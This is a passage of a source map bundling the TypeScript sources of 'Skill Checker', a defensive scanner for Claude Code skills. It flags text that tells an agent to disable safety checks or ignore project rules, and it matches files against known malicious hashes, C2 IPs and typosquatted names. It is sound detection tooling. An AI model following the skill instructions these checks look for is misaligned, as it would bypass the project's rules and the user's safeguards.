category: 'RES',\n severity: 'CRITICAL',\n title: 'Attempts to disable safety checks',\n message: `Line ${lineNum}: Instructs disabling of safety mechanisms.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // RES-005: Token waste\n for (const pattern of TOKEN_WASTE_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'RES-005',\n category: 'RES',\n severity: 'MEDIUM',\n title: 'Token waste pattern',\n message: `Line ${lineNum}: Contains instructions that waste tokens.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // RES-006: Ignore CLAUDE.md / project rules\n for (const pattern of IGNORE_RULES_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'RES-006',\n category: 'RES',\n severity: 'CRITICAL',\n title: 'Attempts to ignore project rules',\n message: `Line ${lineNum}: Instructs ignoring CLAUDE.md or project configuration.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n }\n\n // RES-003: Excessive allowed-tools\n const allowedTools = skill.frontmatter['allowed-tools'];\n if (Array.isArray(allowedTools) && allowedTools.length > 15) {\n results.push({\n id: 'RES-003',\n category: 'RES',\n severity: 'MEDIUM',\n title: 'Excessive allowed-tools list',\n message: `Frontmatter declares ${allowedTools.length} allowed tools. This is unusually broad.`,\n });\n }\n\n // RES-002 (frontmatter): Check allowed-tools for dangerous patterns\n if (Array.isArray(allowedTools)) {\n for (const tool of allowedTools) {\n if (typeof tool !== 'string') continue;\n for (const pattern of UNRESTRICTED_TOOL_PATTERNS) {\n if (pattern.test(tool)) {\n results.push({\n id: 'RES-002',\n category: 'RES',\n severity: 'CRITICAL',\n title: 'Unrestricted tool access requested',\n message: `Frontmatter allowed-tools contains dangerous pattern: \"${tool}\"`,\n snippet: tool.slice(0, 120),\n });\n break;\n }\n }\n }\n }\n\n return results;\n },\n};\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { createHash } from 'node:crypto';\nimport { openSync, readSync, closeSync, statSync } from 'node:fs';\nimport { join } from 'node:path';\nimport { levenshtein } from '../utils/levenshtein.js';\nimport type { IOCDatabase } from './indicators.js';\nimport type { ParsedSkill } from '../types.js';\n\n/** SHA256 hash of empty content — must never be treated as malicious */\nconst EMPTY_FILE_HASH = 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855';\n\n/** IPv4 pattern — matches standalone IPs in text */\nconst IPV4_PATTERN = /\\b(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\b/g;\n\n/** Private/reserved IP ranges to exclude */\nfunction isPrivateIP(ip: string): boolean {\n const parts = ip.split('.').map(Number);\n if (parts.length !== 4 || parts.some((p) => p < 0 || p > 255)) return true;\n // 127.x.x.x (loopback)\n if (parts[0] === 127) return true;\n // 10.x.x.x\n if (parts[0] === 10) return true;\n // 172.16-31.x.x\n if (parts[0] === 172 && parts[1] >= 16 && parts[1] <= 31) return true;\n // 192.168.x.x\n if (parts[0] === 192 && parts[1] === 168) return true;\n // 0.0.0.0\n if (parts.every((p) => p === 0)) return true;\n // 169.254.x.x (link-local)\n if (parts[0] === 169 && parts[1] === 254) return true;\n return false;\n}\n\n/** Chunk size for streaming hash computation (64 KB) */\nconst HASH_CHUNK_SIZE = 64 * 1024;\n\n/**\n * Compute SHA256 hash of a file using chunked reads to avoid\n * loading the entire file into memory.\n */\nfunction computeFileHash(filePath: string): string {\n const hash = createHash('sha256');\n const fd = openSync(filePath, 'r');\n try {\n const buf = Buffer.alloc(HASH_CHUNK_SIZE);\n let bytesRead: number;\n do {\n bytesRead = readSync(fd, buf, 0, HASH_CHUNK_SIZE, null);\n if (bytesRead > 0) {\n hash.update(buf.subarray(0, bytesRead));\n }\n } while (bytesRead > 0);\n } finally {\n closeSync(fd);\n }\n return hash.digest('hex');\n}\n\n/**\n * SUPPLY-008: Check file hashes against known malicious hashes.\n * Uses streaming hash computation — no file size limit.\n */\nexport function matchMaliciousHashes(\n skill: ParsedSkill,\n ioc: IOCDatabase\n): { file: string; hash: string; description: string }[] {\n const matches: { file: string; hash: string; description: string }[] = [];\n const hashKeys = Object.keys(ioc.malicious_hashes);\n if (hashKeys.length === 0) return matches;\n\n for (const file of skill.files) {\n const filePath = join(skill.dirPath, file.path);\n try {\n const stat = statSync(filePath);\n if (stat.size === 0) continue;\n const hash = computeFileHash(filePath);\n if (hash === EMPTY_FILE_HASH) continue;\n if (ioc.malicious_hashes[hash]) {\n matches.push({\n file: file.path,\n hash,\n description: ioc.malicious_hashes[hash],\n });\n }\n } catch {\n // Skip unreadable files\n }\n }\n\n return matches;\n}\n\n/**\n * SUPPLY-009: Extract IPs from skill content and match against C2 list.\n */\nexport function matchC2IPs(\n skill: ParsedSkill,\n ioc: IOCDatabase\n): { ip: string; line: number; source: string; snippet: string }[] {\n const matches: { ip: string; line: number; source: string; snippet: string }[] = [];\n if (ioc.c2_ips.length === 0) return matches;\n\n const c2Set = new Set(ioc.c2_ips);\n const allText = getAllText(skill);\n\n for (const { line, lineNum, source } of allText) {\n let m: RegExpExecArray | null;\n const re = new RegExp(IPV4_PATTERN.source, 'g');\n while ((m = re.exec(line)) !== null) {\n const ip = m[1];\n if (!isPrivateIP(ip) && c2Set.has(ip)) {\n matches.push({\n ip,\n line: lineNum,\n source,\n snippet: line.trim().slice(0, 120),\n });\n }\n }\n }\n\n return matches;\n}\n\n/**\n * SUPPLY-010: Check skill name for typosquatting.\n * Two-layer strategy:\n * 1. Exact match against known_patterns → CRITICAL\n * 2. Levenshtein distance ≤ 2 against protected_names → HIGH\n */\nexport function matchTyposquat(\n skillName: string,\n ioc: IOCDatabase\n): { type: 'known' | 'similar'; target: string; distance?: number } | null {\n if (!skillName) return null;\n const name = skillName.toLowerCase().trim();\n\n // Layer 1: exact match against known typosquat patterns\n for (const pattern of ioc.typosquat.known_patterns) {\n if (name === pattern.toLowerCase()) {\n return { type: 'known', target: pattern };\n }\n }\n\n // Layer 2: edit distance against protected names\n for (const protected_name of ioc.typosquat.protected_names) {\n const pn = protected_name.toLowerCase();\n if (name === pn) continue; // exact match = legitimate, skip\n const dist = levenshtein(name, pn);\n if (dist > 0 && dist <= 2) {\n return { type: 'similar', target: protected_name, distance: dist };\n }\n }\n\n return null;\n}\n\ntype TextLine = { line: string; lineNum: number; source: string };\n\nfunction getAllText(skill: ParsedSkill): TextLine[] {\n const result: TextLine[] = [];\n\n for (let i = 0; i < skill.bodyLines.length; i++) {\n result.push({\n line: skill.bodyLines[i],\n lineNum: skill.bodyStartLine + i,\n source: 'SKILL.md',\n });\n }\n\n for (const file of skill.files) {\n if (file.content && file.path !== 'SKILL.md') {\n const lines = file.content.split('\\n');\n for (let i = 0; i < lines.length; i++) {\n result.push({ line: lines[i], lineNum: i + 1, source: file.path });\n }\n }\n }\n\n return result;\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n/**\n * Compute the Levenshtein (edit) distance between two strings.\n * Uses the classic dynamic programming approach with O(min(m,n)) space.\n */\nexport function levenshtein(a: string, b: string): number {\n if (a === b) return 0;\n if (a.length === 0) return b.length;\n if (b.length === 0) return a.length;\n\n // Ensure a is the shorter string for space optimization\n if (a.length > b.length) [a, b] = [b, a];\n\n const aLen = a.length;\n const bLen = b.length;\n let prev = new Array(aLen + 1);\n let curr = new Array(aLen + 1);\n\n for (let i = 0; i <= aLen; i++) prev[i] = i;\n\n for (let j = 1; j <= bLen; j++) {\n curr[0] = j;\n for (let i = 1; i <= aLen; i++) {\n const cost = a[i - 1] === b[j - 1] ? 0 : 1;\n curr[i] = Math.min(\n prev[i] + 1, // deletion\n curr[i - 1] + 1, // insertion\n prev[i - 1] + cost // substitution\n );\n }\n [prev, curr] = [curr, prev];\n }\n\n return prev[aLen];\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\nimport { loadIOC } from '../ioc/index.js';\nimport {\n matchMaliciousHashes,\n matchC2IPs,\n matchTyposquat,\n} from '../ioc/matcher.js';\n\nexport const iocChecks: CheckModule = {\n name: 'IOC Threat Intelligence',\n category: 'SUPPLY',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n const ioc = loadIOC();\n\n // SUPPLY-008: Known malicious file hashes\n const hashMatches = matchMaliciousHashes(skill, ioc);\n for (const match of hashMatches) {\n results.push({\n id: 'SUPPLY-008',\n category: 'SUPPLY',\n severity: 'CRITICAL',\n title: 'Known malicious file hash',\n message: `File \"${match.file}\" matches known malicious hash: ${match.description}`,\n snippet: match.hash,\n source: match.file,\n });\n }\n\n // SUPPLY-009: Known C2 IP addresses\n const ipMatches = matchC2IPs(skill, ioc);\n for (const match of ipMatches) {\n results.push({\n id: 'SUPPLY-009',\n category: 'SUPPLY',\n severity: 'CRITICAL',\n title: 'Known C2 IP address',\n message: `${match.source}:${match.line}: Contains known C2 server IP: ${match.ip}`,\n line: match.line,\n snippet: match.snippet,\n source: match.source,\n });\n }\n\n // SUPPLY-010: Typosquat name detection\n const skillName = skill.frontmatter.name;\n if (skillName) {\n const typoMatch = matchTyposquat(skillName, ioc);\n if (typoMatch) {\n if (typoMatch.type === 'known') {\n results.push({\n id: 'SUPPLY-010',\n category: 'SUPPLY',\n severity: 'CRITICAL',\n title: 'Known typosquat name',\n message: `Skill name \"${skillName}\" matches known typosquat pattern \"${typoMatch.target}\".`,\n snippet: skillName,\n });\n } else {\n results.push({\n id: 'SUPPLY-010',\n category: 'SUPPLY',\n severity: 'HIGH',\n title: 'Possible typosquat name',\n message: `Skill name \"${skillName}\" is similar to protected name \"${typoMatch.target}\" (edit distance: ${typoMatch.distance}).`,\n snippet: skillName,\n });\n }\n }\n }\n\n return results;\n },\n};\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\nimport { structuralChecks } from './structural.js';\nimport { contentChecks } from './content.js';\nimport { injectionChecks } from './injection.js';\nimport { codeSafetyChecks } from './code-safety.js';\nimport { supplyChainChecks } from './supply-chain.js';\nimport { resourceChecks } from './resource.js';\nimport { iocChecks } from './ioc.js';\n\nconst ALL_MODULES: CheckModule[] = [\n structuralChecks,\n contentChecks,\n injectionChecks,\n codeSafetyChecks,\n supplyChainChecks,\n resourceChecks,\n iocChecks,\n];\n\n/**\n * Run all registered check modules against a parsed skill.\n */\nexport function runAllChecks(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n for (const mod of ALL_MODULES) {\n results.push(...mod.run(skill));\n }\n return results;\n}\n\nexport { ALL_MODULES };\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { parseSkill, parseSkillContent } from './parser.js';\nimport { runAllChecks } from './checks/index.js';\nimport type {\n CheckResult,\n ScanReport,\n SkillCheckerConfig,\n Severity,\n ParsedSkill,\n} from './types.js';\nimport { SEVERITY_SCORES, computeGrade, DEFAULT_CONFIG } from './types.js';\n\n/**\n * Scan a skill directory and produce a security report.\n */\nexport function scanSkillDirectory(\n dirPath: string,\n config: SkillCheckerConfig = DEFAULT_CONFIG\n): ScanReport {\n const skill = parseSkill(dirPath);\n return buildReport(skill, config);\n}\n\n/**\n * Scan a single SKILL.md content string.\n */\nexport function scanSkillContent(\n content: string,\n config: SkillCheckerConfig = DEFAULT_CONFIG\n): ScanReport {\n const skill = parseSkillContent(content);\n return buildReport(skill, config);\n}\n\nfunction buildReport(\n skill: ParsedSkill,\n config: SkillCheckerConfig\n): ScanReport {\n // Run all checks\n let results = runAllChecks(skill);\n\n // Apply severity overrides\n results = results.map((r) => {\n if (config.overrides[r.id]) {\n return { ...r, severity: config.overrides[r.id] };\n }\n return r;\n });\n\n // Filter ignored rules\n results = results.filter((r) => !config.ignore.includes(r.id));\n\n // Deduplicate: same rule + same source file → single finding with occurrences count\n results = deduplicateResults(results);\n\n // Calculate score\n const score = calculateScore(results);\n const grade = computeGrade(score);\n\n // Build summary\n const summary = {\n total: results.length,\n critical: results.filter((r) => r.severity === 'CRITICAL').length,\n high: results.filter((r) => r.severity === 'HIGH').length,\n medium: results.filter((r) => r.severity === 'MEDIUM').length,\n low: results.filter((r) => r.severity === 'LOW').length,\n };\n\n return {\n skillPath: skill.dirPath,\n skillName: skill.frontmatter.name ?? 'unknown',\n timestamp: new Date().toISOString(),\n results,\n score,\n grade,\n summary,\n };\n}\n\n/**\n * Deduplicate results: same rule ID + same title + same source → single finding.\n * Keeps the highest severity (most conservative). Sets occurrences count.\n *\n * Title is included in the key so that rules with multiple sub-types\n * (e.g. CODE-016 persistence groups, CODE-013 credential providers)\n * are not incorrectly merged within the same file.\n *\n * Key uses the structural `source` field when available.\n * Falls back to `category + line` when source is absent, to avoid\n * merging unrelated findings under a shared \"unknown\" bucket.\n */\nfunction deduplicateResults(results: CheckResult[]): CheckResult[] {\n const groups = new Map<string, CheckResult[]>();\n const severityOrder: Record<Severity, number> = {\n CRITICAL: 4, HIGH: 3, MEDIUM: 2, LOW: 1,\n };\n\n for (const r of results) {\n // Prefer structural source; fall back to category+line for uniqueness\n const sourceKey = r.source ?? `_no_source_:${r.category}:${r.line ?? ''}`;\n const key = `${r.id}::${r.title}::${sourceKey}`;\n const group = groups.get(key);\n if (group) {\n group.push(r);\n } else {\n groups.set(key, [r]);\n }\n }\n\n const deduped: CheckResult[] = [];\n for (const group of groups.values()) {\n // Pick the entry with highest severity\n group.sort((a, b) => severityOrder[b.severity] - severityOrder[a.severity]);\n const best = { ...group[0] };\n if (group.length > 1) {\n best.occurrences = group.length;\n // Only say \"in this file\" when we have a real source\n const suffix = best.source\n ? ` (${group.length} occurrences in this file)`\n : ` (${group.length} occurrences)`;\n best.message += suffix;\n }\n deduped.push(best);\n }\n\n return deduped;\n}\n\nfunction calculateScore(results: CheckResult[]): number {\n let score = 100;\n for (const r of results) {\n score -= SEVERITY_SCORES[r.severity];\n }\n return Math.max(0, score);\n}\n\n/**\n * Determine the worst severity found in results.\n */\nexport function worstSeverity(results: CheckResult[]): Severity | null {\n const order: Severity[] = ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW'];\n for (const sev of order) {\n if (results.some((r) => r.severity === sev)) return sev;\n }\n return null;\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport chalk from 'chalk';\nimport type { ScanReport, Severity, Grade } from '../types.js';\n\nconst SEVERITY_COLORS: Record<Severity, (s: string) => string> = {\n CRITICAL: chalk.bgRed.white.bold,\n HIGH: chalk.red.bold,\n MEDIUM: chalk.yellow,\n LOW: chalk.gray,\n};\n\nconst GRADE_COLORS: Record<Grade, (s: string) => string> = {\n A: chalk.green.bold,\n B: chalk.cyan.bold,\n C: chalk.yellow.bold,\n D: chalk.red.bold,\n F: chalk.bgRed.white.bold,\n};\n\nconst SEVERITY_ICONS: Record<Severity, string> = {\n CRITICAL: 'X',\n HIGH: '!',\n MEDIUM: '~',\n LOW: '-',\n};\n\nexport function formatTerminalReport(report: ScanReport): string {\n const lines: string[] = [];\n\n // Header\n lines.push('');\n lines.push(\n chalk.bold('Skill Security Report') +\n chalk.gray(` - ${report.skillName}`)\n );\n lines.push(chalk.gray(`Path: ${report.skillPath}`));\n lines.push(chalk.gray(`Time: ${report.timestamp}`));\n lines.push('');\n\n // Score & Grade\n const gradeStr = GRADE_COLORS[report.grade](` ${report.grade} `);\n const scoreStr =\n report.score >= 75\n ? chalk.green(`${report.score}/100`)\n : report.score >= 40\n ? chalk.yellow(`${report.score}/100`)\n : chalk.red(`${report.score}/100`);\n\n lines.push(`Grade: ${gradeStr} Score: ${scoreStr}`);\n lines.push('');\n\n // Summary bar\n const parts: string[] = [];\n if (report.summary.critical > 0)\n parts.push(chalk.bgRed.white(` ${report.summary.critical} CRITICAL `));\n if (report.summary.high > 0)\n parts.push(chalk.red(` ${report.summary.high} HIGH `));\n if (report.summary.medium > 0)\n parts.push(chalk.yellow(` ${report.summary.medium} MEDIUM `));\n if (report.summary.low > 0)\n parts.push(chalk.gray(` ${report.summary.low} LOW `));\n\n if (parts.length > 0) {\n lines.push(`Findings: ${parts.join(' ')}`);\n } else {\n lines.push(chalk.green('No issues found.'));\n }\n lines.push('');\n\n // Findings detail\n if (report.results.length > 0) {\n lines.push(chalk.bold.underline('Findings:'));\n lines.push('');\n\n // Group by category\n const grouped = new Map<string, typeof report.results>();\n for (const r of report.results) {\n const group = grouped.get(r.category) ?? [];\n group.push(r);\n grouped.set(r.category, group);\n }\n\n for (const [category, findings] of grouped) {\n lines.push(chalk.bold(`[${category}]`));\n\n // Sort by severity\n const order: Severity[] = ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW'];\n findings.sort(\n (a, b) => order.indexOf(a.severity) - order.indexOf(b.severity)\n );\n\n for (const f of findings) {\n const icon = SEVERITY_ICONS[f.severity];\n const sevLabel = SEVERITY_COLORS[f.severity](\n ` ${f.severity} `\n );\n const idStr = chalk.gray(f.id);\n lines.push(` [${icon}] ${sevLabel} ${idStr} ${f.title}`);\n lines.push(` ${chalk.gray(f.message)}`);\n if (f.snippet) {\n lines.push(` ${chalk.dim(f.snippet)}`);\n }\n }\n lines.push('');\n }\n }\n\n // Recommendation\n lines.push(chalk.bold('Recommendation:'));\n switch (report.grade) {\n case 'A':\n lines.push(chalk.green(' Safe to install.'));\n break;\n case 'B':\n lines.push(chalk.cyan(' Minor issues found. Generally safe.'));\n break;\n case 'C':\n lines.push(\n chalk.yellow(' Review recommended before installation.')\n );\n break;\n case 'D':\n lines.push(\n chalk.red(' Significant risks detected. Install with caution.')\n );\n break;\n case 'F':\n lines.push(\n chalk.bgRed.white(' DO NOT INSTALL. Critical security issues found.')\n );\n break;\n }\n lines.push('');\n\n return lines.join('\\n');\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { ScanReport, SkillCheckerConfig, HookAction } from '../types.js';\nimport { getHookAction, DEFAULT_CONFIG } from '../types.js';\nimport { worstSeverity } from '../scanner.js';\n\n/**\n * Format a scan report as JSON string.\n */\nexport function formatJsonReport(report: ScanReport): string {\n return JSON.stringify(report, null, 2);\n}\n\n/**\n * Generate a hook response JSON for PreToolUse hooks.\n */\nexport interface HookResponse {\n permissionDecision: 'deny' | 'ask' | 'allow';\n reason?: string;\n additionalContext?: string;\n}\n\nexport function generateHookResponse(\n report: ScanReport,\n config: SkillCheckerConfig = DEFAULT_CONFIG\n): HookResponse {\n const worst = worstSeverity(report.results);\n\n if (!worst) {\n return { permissionDecision: 'allow' };\n }\n\n const action: HookAction = getHookAction(config.policy, worst);\n\n switch (action) {\n case 'deny':\n return {\n permissionDecision: 'deny',\n reason: buildDenySummary(report),\n };\n case 'ask':\n return {\n permissionDecision: 'ask',\n reason: buildAskSummary(report),\n };\n case 'report':\n return {\n permissionDecision: 'allow',\n additionalContext: buildReportSummary(report),\n };\n }\n}\n\nfunction buildDenySummary(report: ScanReport): string {\n const lines = [\n `Skill Security Check FAILED (Grade: ${report.grade}, Score: ${report.score}/100)`,\n ];\n const criticals = report.results.filter((r) => r.severity === 'CRITICAL');\n if (criticals.length > 0) {\n lines.push(`Critical issues (${criticals.length}):`);\n for (const c of criticals.slice(0, 5)) {\n lines.push(` - [${c.id}] ${c.title}: ${c.message}`);\n }\n }\n return lines.join('\\n');\n}\n\nfunction buildAskSummary(report: ScanReport): string {\n const lines = [\n `Skill Security Check: Grade ${report.grade} (${report.score}/100)`,\n `Found: ${report.summary.critical} critical, ${report.summary.high} high, ${report.summary.medium} medium issues.`,\n 'Review the findings before allowing installation.',\n ];\n return lines.join('\\n');\n}\n\nfunction buildReportSummary(report: ScanReport): string {\n const lines = [\n `[Skill Checker] Grade: ${report.grade} (${report.score}/100)`,\n `Issues: ${report.summary.total} (${report.summary.critical}C/${report.summary.high}H/${report.summary.medium}M/${report.summary.low}L)`,\n ];\n if (report.results.length > 0) {\n lines.push('Top findings:');\n for (const r of report.results.slice(0, 3)) {\n lines.push(` [${r.id}] ${r.severity}: ${r.title}`);\n }\n }\n return lines.join('\\n');\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { readFileSync, existsSync } from 'node:fs';\nimport { join, resolve } from 'node:path';\nimport { parse as parseYaml } from 'yaml';\nimport type { SkillCheckerConfig, PolicyLevel, Severity } from './types.js';\nimport { DEFAULT_CONFIG } from './types.js';\n\nconst CONFIG_FILENAMES = [\n '.skillcheckerrc.yaml',\n '.skillcheckerrc.yml',\n '.skillcheckerrc',\n];\n\n/**\n * Load configuration.\n * If configPath is provided and points to a file, load it directly.\n * Otherwise, search up the directory tree from startDir.\n */\nexport function loadConfig(startDir?: string, configPath?: string): SkillCheckerConfig {\n // Direct file path provided via --config\n if (configPath) {\n const absPath = resolve(configPath);\n if (existsSync(absPath)) {\n return parseConfigFile(absPath);\n }\n // Config file specified but not found - return default\n return { ...DEFAULT_CONFIG };\n }\n\n const dir = startDir ? resolve(startDir) : process.cwd();\n\n // Search for config file in current dir and parents\n let current = dir;\n while (true) {\n for (const filename of CONFIG_FILENAMES) {\n const configPath = join(current, filename);\n if (existsSync(configPath)) {\n return parseConfigFile(configPath);\n }\n }\n\n const parent = join(current, '..');\n if (parent === current) break; // reached root\n current = parent;\n }\n\n // Also check home directory\n const home = process.env.HOME ?? process.env.USERPROFILE;\n if (home) {\n for (const filename of CONFIG_FILENAMES) {\n const configPath = join(home, filename);\n if (existsSync(configPath)) {\n return parseConfigFile(configPath);\n }\n }\n }\n\n return { ...DEFAULT_CONFIG };\n}\n\nfunction parseConfigFile(path: string): SkillCheckerConfig {\n try {\n const raw = readFileSync(path, 'utf-8');\n const parsed = parseYaml(raw);\n\n if (!parsed || typeof parsed !== 'object') {\n return { ...DEFAULT_CONFIG };\n }\n\n const config: SkillCheckerConfig = {\n policy: isValidPolicy(parsed.policy) ? parsed.policy : 'balanced',\n overrides: {},\n ignore: [],\n };\n\n // Parse overrides\n if (parsed.overrides && typeof parsed.overrides === 'object') {\n for (const [key, value] of Object.entries(parsed.overrides)) {\n const sev = normalizeSeverity(value as string);\n if (sev) {\n config.overrides[key] = sev;\n }\n }\n }\n\n // Parse ignore list\n if (Array.isArray(parsed.ignore)) {\n config.ignore = parsed.ignore.filter(\n (item: unknown) => typeof item === 'string'\n );\n }\n\n return config;\n } catch {\n return { ...DEFAULT_CONFIG };\n }\n}\n\nfunction isValidPolicy(value: unknown): value is PolicyLevel {\n return (\n typeof value === 'string' &&\n ['strict', 'balanced', 'permissive'].includes(value)\n );\n}\n\nfunction normalizeSeverity(value: string): Severity | null {\n const upper = value?.toUpperCase();\n if (['CRITICAL', 'HIGH', 'MEDIUM', 'LOW'].includes(upper)) {\n return upper as Severity;\n }\n return null;\n}\n"],"mappings":";AAgBA,SAAS,qBAAqB;AAC9B,SAAS,cAAAA,mBAAkB;AAC3B,SAAS,QAAAC,aAAY;AACrB,SAAS,eAAe;;;ACHxB,SAAS,cAAc,aAAa,WAAW,YAAY,UAAU,UAAU,iBAAiB;AAChG,SAAS,MAAM,SAAS,UAAU,eAAe;AACjD,SAAS,SAAS,iBAAiB;AAInC,IAAM,oBAAoB,oBAAI,IAAI;AAAA,EAChC;AAAA,EAAQ;AAAA,EAAQ;AAAA,EAAS;AAAA,EAAQ;AAAA,EAAQ;AAAA,EAAQ;AAAA,EAAS;AAAA,EAC1D;AAAA,EAAS;AAAA,EAAU;AAAA,EAAQ;AAAA,EAAQ;AAAA,EACnC;AAAA,EAAQ;AAAA,EAAO;AAAA,EAAQ;AAAA,EAAQ;AAAA,EAAO;AAAA,EACtC;AAAA,EAAQ;AAAA,EAAQ;AAAA,EAAO;AAAA,EAAU;AAAA,EACjC;AAAA,EAAQ;AAAA,EAAQ;AAAA,EAAS;AAAA,EAAQ;AAAA,EACjC;AAAA,EAAQ;AAAA,EAAQ;AAAA,EAAQ;AAAA,EAAQ;AAAA,EAChC;AAAA,EAAS;AAAA,EAAQ;AACnB,CAAC;AAKM,SAAS,WAAW,SAA8B;AACvD,QAAM,SAAS,QAAQ,OAAO;AAG9B,QAAM,cAAc,KAAK,QAAQ,UAAU;AAC3C,QAAM,aAAa,WAAW,WAAW;AAEzC,QAAM,MAAM,aAAa,aAAa,aAAa,OAAO,IAAI;AAG9D,QAAM,EAAE,aAAa,kBAAkB,MAAM,cAAc,IACzD,iBAAiB,GAAG;AAGtB,QAAM,WAAqB,CAAC;AAC5B,QAAM,QAAQ,eAAe,QAAQ,QAAQ;AAE7C,SAAO;AAAA,IACL,SAAS;AAAA,IACT;AAAA,IACA;AAAA,IACA;AAAA,IACA;AAAA,IACA,WAAW,KAAK,MAAM,IAAI;AAAA,IAC1B;AAAA,IACA;AAAA,IACA;AAAA,EACF;AACF;AAiCA,SAAS,iBAAiB,KAAgC;AACxD,QAAM,UAAU;AAChB,QAAM,QAAQ,IAAI,MAAM,OAAO;AAE/B,MAAI,CAAC,OAAO;AACV,WAAO;AAAA,MACL,aAAa,CAAC;AAAA,MACd,kBAAkB;AAAA,MAClB,MAAM;AAAA,MACN,eAAe;AAAA,IACjB;AAAA,EACF;AAEA,QAAM,UAAU,MAAM,CAAC;AACvB,QAAM,cAAc,MAAM,CAAC,EAAE,MAAM,IAAI,EAAE;AAEzC,MAAI;AACF,UAAM,SAAS,UAAU,OAAO;AAChC,WAAO;AAAA,MACL,aAAc,OAAO,WAAW,YAAY,WAAW,OACnD,SACA,CAAC;AAAA,MACL,kBAAkB;AAAA,MAClB,MAAM,IAAI,MAAM,MAAM,CAAC,EAAE,MAAM;AAAA,MAC/B,eAAe;AAAA,IACjB;